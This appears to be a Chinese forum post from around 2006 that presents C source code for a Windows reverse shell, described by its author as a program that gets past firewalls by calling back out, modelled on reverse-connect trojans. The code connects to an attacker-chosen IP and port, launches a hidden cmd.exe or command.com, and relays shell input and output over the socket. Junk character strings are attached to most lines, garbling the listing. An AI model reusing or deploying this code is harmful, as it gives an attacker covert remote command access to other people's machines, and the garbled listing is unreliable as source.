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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bAPMD  
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/* ============================== 1>OlBp  
Rebound port in Windows NT !,$#i  
By wind,2006/7 J(l\VvK  
===============================*/ c1"wS*u  
#include &h0LWPl  
#include -;7xUNQ  
"_q~S$i^  
#pragma comment(lib,"wsock32.lib")  SvT0%2  
1o`1W4Q  
void OutputShell(); E ?Mgbd3  
SOCKET sClient; I&{T 4.B:U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s`jlE|jtN  
n.&7lg^X  
void main(int argc,char **argv) SO=gG 2E  
{  xgcxA:  
WSADATA stWsaData; Cgx:6TRS  
int nRet; k1<^Ept  
SOCKADDR_IN stSaiClient,stSaiServer; `Pvi+:6\Y  
8f9wUPr  
if(argc != 3) Hw o _;fV  
{ LUbj^iQ9  
printf("Useage:\n\rRebound DestIP DestPort\n"); DjM*U52Yfj  
return; sfyLG3$/  
} LN|(Z*  
5rows]EJJl  
WSAStartup(MAKEWORD(2,2),&stWsaData); {  c#US  
Y(g_h:lf,]  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z 2N6r6  
Vr EGR$  
stSaiClient.sin_family = AF_INET; w$:\!FImx  
stSaiClient.sin_port = htons(0); [kg?q5F)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !0W(f.A{K  
`NN P<z+\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8Yh'/,o=L#  
{ [)Nt;|U  
printf("Bind Socket Failed!\n"); J<0{3pZY  
return; 9wYm(7M6  
} ^OKm (  
f~NS{gL*  
stSaiServer.sin_family = AF_INET; J8emz8J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N1Vj;-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A0<g8pv  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k|/VNV( =0  
{ SZF 8InyF  
printf("Connect Error!"); `;j1H<L  
return; 8"j$=T6;W  
} ~#E&E%sJ  
OutputShell(); ^ Kz ?SO  
} ,<U= 7<NU  
98Vv K?  
void OutputShell() p(n0(}eVC'  
{ ~6f/jCluR%  
char szBuff[1024]; G'\[dwD,u  
SECURITY_ATTRIBUTES stSecurityAttributes; yv4x.cfI2W  
OSVERSIONINFO stOsversionInfo; \6|y~5Hw{r  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1eD#-tzV  
STARTUPINFO stStartupInfo; pTCD1)  
char *szShell;  ;j26(dH  
PROCESS_INFORMATION stProcessInformation; s9ix&m  
unsigned long lBytesRead; nK;d\DO  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9i\RdJv.  
6\.g,>   
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kH eD(Ea  
stSecurityAttributes.lpSecurityDescriptor = 0; j2D!=PK;  
stSecurityAttributes.bInheritHandle = TRUE; v WXo#  
th{f|fm62  
G3_7e A#;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); tg\Nm7I  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GrLxERf  
y~+LzDV  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h>`[p,o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NCKR<!(  
stStartupInfo.wShowWindow = SW_HIDE; D,cD]tB2  
stStartupInfo.hStdInput = hReadPipe; v@{y}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rN&fFI  
^aB;Oo  
GetVersionEx(&stOsversionInfo); g$uiwqNA%  
wO,qFY  
switch(stOsversionInfo.dwPlatformId) +S~ u,=  
{ { 4j<X5V  
case 1: :zU4K=kR  
szShell = "command.com"; ~!({U nt+'  
break; k9 r49lb  
default: c +]r  
szShell = "cmd.exe"; I0F [Z\U  
break; ~T@E")uR  
} Yb5U^OjyJ  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fz|*Plv  
D9g*+KM&  
send(sClient,szMsg,77,0); `:iMGq ZN  
while(1) (csk   
{ sccLP_#Z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); . V!5Ui<  
if(lBytesRead) 2?ue.1C  
{ +O8[4zn&k  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bSIY|/d+  
send(sClient,szBuff,lBytesRead,0); GG#-x$jK  
} vE[d& b[  
else vu.ug$T  
{ Aa9l-:R  
lBytesRead=recv(sClient,szBuff,1024,0); | d*<4-:  
if(lBytesRead<=0) break; $(62j0mS>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @{IX do  
} <2(X?,N5BD  
} (h wzA *(c  
@>z.chM;  
return; F[c oa5  
}
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